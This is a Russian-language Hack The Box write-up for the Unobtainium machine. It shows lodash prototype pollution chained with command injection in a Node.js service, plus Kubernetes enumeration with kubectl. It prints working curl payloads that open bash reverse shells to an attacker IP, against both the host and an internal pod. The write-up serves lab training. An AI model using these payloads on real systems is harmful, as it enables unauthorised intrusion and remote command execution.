HTB Unobtainium. Учимся работать с Kubernetes в рамках пентеста

Содержание статьи

  • Разведка
  • Сканирование портов
  • Анализ трафика
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

В этой статье я покажу, как про­ходит­ся слож­ная машина Unobtainium с пло­щад­ки Hack The Box. Мы про­ведем тес­тирова­ние кли­ент‑сер­верно­го при­ложе­ния, сер­верная часть которо­го написа­на на Node.js. А затем порабо­таем с оркес­тра­тором Kubernetes и через него зах­ватим флаг рута.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем адрес машины 10.10.10.235 в файл /etc/hosts как unobtainium.htb и запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ре­зуль­тат работы скрип­та (про­дол­жение)

Ре­зуль­тат работы скрип­та (окон­чание)

По резуль­татам ска­ниро­вания име­ем восемь откры­тых пор­тов:

  • порт 22 — служ­ба SSH;
  • порт 80 — Apache httpd 2.4.41;
  • пор­ты 2379, 2380 — пока неяс­но, что это;
  • порт 8443 — тоже веб‑сер­вер;
  • пор­ты 10250, 10256 — Golang HTTP-Server;
  • порт 31337 — Node.js Express framework.

Нач­нем с осмотра сай­та.

Стар­товая стра­ница сай­та

Здесь нам дают толь­ко ска­чать какое‑то при­ложе­ние, что мы и дела­ем. Ска­чива­ем пакет .deb и раз­ворачи­ваем, что­бы не уста­нав­ливать на локаль­ный хост. Затем находим исполня­емый файл и запус­каем при­ложе­ние.

mkdir ubo ; cd mkdirdpkg-deb -xv unobtainium_1.0.0_amd64.deb ../opt/unobtainium

Рас­паков­ка пакета deb

Глав­ное окно при­ложе­ния

Изу­чив при­ложе­ние, понима­ем, что оно име­ет кли­ент‑сер­верную архи­тек­туру. Здесь есть фор­ма отправ­ки сооб­щений и воз­можность смот­реть спи­сок дел.

Спи­сок выг­лядит вот так:

  • Create administrator zone.
  • Update node JS API Server.
  • Add Login functionality.
  • Complete Get Messages feature.
  • Complete ToDo feature.
  • Implement Google Cloud Storage function.
  • Improve security.
  • Спи­сок todo 

    Анализ трафика

    Итак, мы узна­ли, что исполь­зует­ся тех­нология Node.js, есть авто­риза­ция и раз­деление при­виле­гий (пункт 1). Пос­коль­ку при­ложе­ние — это кли­ент, можем пред­положить, что оно сту­чит­ся на порт 31337, обна­ружен­ный нами при ска­ниро­вании. Нам нуж­но про­верить это пред­положе­ние, а поможет нам в этом Wireshark. Откры­ваем его и запус­каем наше при­ложе­ние сно­ва.

    Тра­фик при­ложе­ния в Wireshark

    Ви­дим, что при­ложе­ние работа­ет по HTTP и дей­стви­тель­но под­клю­чает­ся к пор­ту 31337.

    Ад­рес сер­верной час­ти при­ложе­ния

    Поп­робу­ем вруч­ную исполь­зовать фун­кции при­ложе­ния, что­бы узнать, как имен­но они работа­ют. Зап­росим спи­сок дел и отпра­вим какое‑нибудь сооб­щение.

    Зап­рос и ответ при обра­щении к todo

    Зап­рос и ответ при отправ­ке сооб­щения

    Мы можем ско­пиро­вать оба зап­роса и перенес­ти их в Burp Repeater для даль­нейше­го тес­тирова­ния. Так­же для удобс­тва мож­но пере­име­новать вклад­ки.

    PUT / HTTP/1.1Host: unobtainium.htb:31337Connection: keep-aliveContent-Length: 79Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: ru{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"qwerty"}}POST /todo HTTP/1.1Host: unobtainium.htb:31337Connection: keep-aliveContent-Length: 73Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: ru{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}

    Зап­росы в Burp Repeater

    В обо­их зап­росах мест для тес­тирова­ния два: это параметр text при отправ­ке сооб­щения и filename при зап­росе фай­ла todo.txt. Попыт­ка зап­росить дру­гие фай­лы (нап­ример, /etc/passwd) ни к чему не при­вела, а если точ­нее, при­вела к зависа­нию при­ложе­ния. Но вот в слу­чае пус­того зап­роса мы получим ошиб­ку.

    Ошиб­ка 

    Точка входа

    В тек­сте ошиб­ки видим нес­коль­ко рас­кры­тых путей к фай­лам. Так как исполь­зует­ся Node.js, зап­росим важ­ный файл index.js. Пос­коль­ку содер­жимое фай­ла нефор­матиро­ван­ное, для удобс­тва отпра­вим его в рас­ширение Burp Hackvector. Выбира­ем String → Replace и меня­ем пос­ледова­тель­нос­ти \n, \t и " на n, t и ".

    Стар­товая стра­ница сай­та

    Код на скрин­шот не помеща­ется, поэто­му при­веду его ниже.

    var root = require("google-cloudstorage-commands");const express = require('express');const { exec } = require("child_process");const bodyParser = require('body-parser');const _ = require('lodash');const app = express();var fs = require('fs');const users =[ {name: 'felamos', password: 'Winter2021'}, {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},];let messages = [];let lastId = 1;function findUser(auth){ return users.find((u) => u.name === auth.name && u.password === auth.password;}app.use(bodyParser.json());app.get('/', (req, res) => { res.send(messages); });app.put('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } const message = { icon: '__', }; _.merge(message, req.body.message, { id: lastId++, timestamp: Date.now(), userName: user.name, }); messages.push(message); res.send({ok: true});});app.delete('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canDelete) { res.status(403).send({ok: false, error: 'Access denied'}); return; } messages = messages.filter((m) => m.id !== req.body.messageId); res.send({ok: true});});app.post('/upload', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canUpload) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; root.upload("./",filename, true); res.send({ok: true, Uploaded_File: filename});});app.post('/todo', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; testFolder = "/usr/src/app"; fs.readdirSync(testFolder).forEach(file => { if (file.indexOf(filename) > -1) { var buffer = fs.readFileSync(filename).toString(); res.send({ok: true, content: buffer}); } });});app.listen(3000);console.log('Listening on port 3000...');

    В самом начале под­клю­чают­ся некото­рые биб­лиоте­ки. Так как это Node.js, мы можем зап­росить файл package.json, что­бы узнать вер­сии под­клю­чаемых биб­лиотек.

    Со­дер­жимое фай­ла package.json

    У нас есть сле­дующие зависи­мос­ти:

    • body-parser: 1.18.3;
    • express: 4.16.4;
    • lodash: 4.17.4;
    • google-cloudstorage-commands: 0.0.1;

    Нам извес­тны тех­нологии, поэто­му сле­дует поис­кать готовые экс­пло­иты, что­бы понять, какие могут быть уяз­вимос­ти. Делать это луч­ше все­го при помощи Google.

    По­иск уяз­вимос­тей с помощью Google

    По­иск уяз­вимос­тей с помощью Google

    Так мы находим две уяз­вимос­ти в модулях google-cloudstorage-commands и lodash. Пер­вая может дать нам OS Command injection, то есть, дру­гими сло­вами, уда­лен­ное выпол­нение команд. У нас уже есть уяз­вимый блок кода (ниже при­веде­ны скри­ны из PoC и кода index.js).

    PoC экс­пло­ита google-cloudstorage-commands

    Код обра­бот­чика метода post из фай­ла index.js

    При переда­че парамет­ра filename методом POST на стра­ницу /upload мы можем выпол­нить коман­ду. Но перед этим сер­вер про­веря­ет, име­ет ли дан­ный поль­зователь свой­ство canUpload.

    Объ­екты users

    Этих свой­ств у нас нет, но можем их получить. В этом поможет кри­тичес­кая уяз­вимость в биб­лиоте­ке lodash. Мы можем исполь­зовать атри­бут constructor объ­екта, пред­став­ляюще­го поль­зовате­ля, что­бы акти­виро­вать дан­ные при­виле­гии. И у нас сно­ва есть уяз­вимый блок кода (ниже при­веде­ны скри­ны из PoC и кода index.js).

    При­мер уяз­вимого кода lodash

    Код обра­бот­чика метода put из фай­ла index.js

    При переда­че парамет­ра text методом PUT на стра­ницу / мы смо­жем выпол­нить опас­ное сли­яние объ­ектов.

     

    Точка опоры

    Да­вай про­экс­плу­ати­руем это и акти­виру­ем у себя свой­ства canUpload и canDelete. Для это­го отпра­вим сле­дующее сооб­щение:

    { "text":{ "constructor":{ "prototype":{ "canDelete":true, "canUpload":true } } } }}

    Ак­тивация при­виле­гий

    По­лучи­ли ответ, что все выпол­нено без оши­бок. Теперь для про­вер­ки выпол­ним коман­ду id, как было опи­сано выше. Резуль­тат запишем в файл.

    Вы­пол­нение коман­ды и запись резуль­тата в файл

    Ос­талось про­честь содер­жимое фай­ла легитим­ным спо­собом.

    Чте­ние фай­ла

    Как мож­но уви­деть, коман­да успешно выпол­нена, а вся наша кон­цепция получи­ла под­твержде­ние. Мож­но выпол­нить реверс‑шелл.

    Справка: реверс-шелл

    Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

    В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.

    apt install rlwrap

    В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

    rlwrap nc -lvp [port]

    Что­бы быс­тро вос­ста­нав­ливать соеди­нение в слу­чае его потери, я написал малень­кий скрипт на Bash, содер­жащий две коман­ды. Это те же коман­ды, что пред­став­лены в зап­росах выше, толь­ко без чте­ния фай­ла.

    #!/bin/bashcurl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}' http://unobtainium.htb:31337/
    curl -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/4321 0>&1" | bash"}' http://unobtainium.htb:31337/upload

    Флаг поль­зовате­ля 

    Продвижение

    Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Для это­го я обыч­но исполь­зую скрип­ты PEASS.

    Справка: скрипты PEASS для Linux

    Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

    Что­бы вос­поль­зовать­ся скрип­том, его надо сна­чала заг­рузить на локаль­ный хост.

    wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

    Те­перь нуж­но заг­рузить его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью Python прос­той веб‑сер­вер. Пос­ле выпол­нения этой коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

    python3 -m http.server

    А теперь с помощью того же wget на целевой машине заг­рузим скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать фай­лу пра­во на выпол­нение и выпол­нить скрипт.

    wget http://[ip_локального_хоста]:8000/linpeas.sh
    chmod +x linpeas.sh
    ./linpeas.sh

    Из вывода LinPEAS я узнал, что на хос­те работа­ет поль­зователь­ская задача в cron. Каж­дую минуту про­исхо­дит поиск и уда­ление фай­ла kubectl. А это озна­чает исполь­зование оркес­тра­тора Kubernetes.

    За­дачи cron

    Kubernetes поз­воля­ет управлять клас­тером кон­тей­неров Linux как еди­ной сис­темой. Kubernetes управля­ет кон­тей­нерами Docker, запус­кает их на боль­шом количес­тве хос­тов, а так­же обес­печива­ет сов­мес­тное раз­мещение и реп­ликацию боль­шого количес­тва кон­тей­неров. Что нам нуж­но понимать при работе с Kubernetes:

    • Node — это машина в клас­тере Kubernetes;
    • Pod — это груп­па кон­тей­неров с общи­ми раз­делами, запус­каемых как еди­ное целое;
    • Service — это абс­трак­ция, которая опре­деля­ет логичес­кий объ­еди­нен­ный набор pod и полити­ку дос­тупа к ним;
    • Volume — это дирек­тория (воз­можно, с дан­ными), которая дос­тупна в кон­тей­нере;
    • Label — это пара ключ/зна­чение, которые прик­репля­ются к объ­ектам, нап­ример подам, и могут быть исполь­зованы для соз­дания и выбора наборов объ­ектов.

    Для работы с кубером нам нужен kubectl, а он уда­ляет­ся раз в минуту. Ска­чаем его на локаль­ную машину, а затем заг­рузим на уда­лен­ный хост таким же спо­собом, как и LinPEAS. Я заг­ружаю его под име­нем kctl.

    curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"

    Те­перь файл уда­лять­ся не будет, можем порабо­тать с Kubernetes. Бла­года­ря kubectl нам дос­тупна коман­да can-i, с помощью которой мы можем про­верить свои при­виле­гии на то или иное дей­ствие. В ответ будет воз­вра­щать­ся yes или no.

    В клас­тере Kubernetes объ­екты secret пред­назна­чены для хра­нения кон­фиден­циаль­ной информа­ции, такой как пароли, токены OAuth или клю­чи SSH. И это пер­вое, что нуж­но про­верить.

    kubectl auth can-i list secrets

    Про­вер­ка сек­ретов

    К сожале­нию, мы не можем прос­мотреть сек­реты. Сле­дующее, что нуж­но про­верить, — это прос­транс­тва имен (namespaces) — вир­туаль­ные клас­теры, работа­ющие в одном и том же физичес­ком клас­тере. Namespaces пре­дос­тавля­ют набор уни­каль­ных имен для ресур­сов. Давай узна­ем, можем ли мы получить их.

    kubectl auth can-i list namespaces

    Про­вер­ка прос­транств имен

    Мы можем получить прос­транс­тва имен сле­дующей прос­той коман­дой.

    kubectl get namespaces

    По­луче­ние namespaces

    По умол­чанию в клас­тере Kubernetes будет соз­дано прос­транс­тво имен default, в котором раз­меща­ются запус­каемые объ­екты. Прос­транс­тва kube-public и kube-system исполь­зуют­ся для запус­ка слу­жеб­ных объ­ектов Kubernetes, необ­ходимых для кор­рек­тной работы клас­тера. Но нам (судя по наз­ванию) боль­ше инте­рес­но прос­транс­тво имен dev и сис­темный kube-system. Но ни в пер­вом, ни во вто­ром прос­транс­тве дос­тупа к сек­ретам не име­ем.

    kubectl auth can-i list secrets -n dev
    kubectl auth can-i list secrets -n kube-system

    Про­вер­ка сек­ретов

    С сек­ретами не получи­лось, пос­мотрим на поды. Каж­дый pod сос­тоит из одно­го или нес­коль­ких кон­тей­неров, хра­нили­ща, отдель­ного IP-адре­са и опций, которые опре­деля­ют, как имен­но кон­тей­неры дол­жны запус­кать­ся. Так­же pod пред­став­ляет собой некий запущен­ный про­цесс в клас­тере Kubernetes. Но чаще все­го в подах исполь­зуют­ся кон­тей­неры Docker. Пос­мотрим, можем ли мы получить поды из прос­транс­тва dev, а пос­ле положи­тель­ного отве­та получим их спи­сок.

    kubectl auth can-i list pods -n dev
    kubectl get pods -n dev

    По­луче­ние подов в прос­транс­тве dev

    Да­вай получим опи­сание пода. Так как это целый кон­тей­нер, нам инте­рес­на воз­можность рас­простра­нения по сети, а из опи­сания смо­жем узнать адрес.

    kubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev

    Опи­сание пода

    Так, из опи­сания пода devnode-deployment-cd86fb5c-6ms8d мы видим адрес 172.17.0.8 и откры­тый порт 3000. Ока­залось, что там работа­ет такой же сер­вис, поэто­му мы можем получить дос­туп уже име­ющим­ся скрип­том. Запус­тим лис­тенер на дру­гом пор­те локаль­ного хос­та (я запус­тил на 5432) и выпол­ним бэк­коннект.

    curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}' http://172.17.0.8:3000/ ; echocurl -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/5432 0>&1" | bash"}' http://172.17.0.8:3000/upload

    Соз­данный реверс‑шелл

    Источник: xakep.ru

    Ответить

    Ваш адрес email не будет опубликован. Обязательные поля помечены *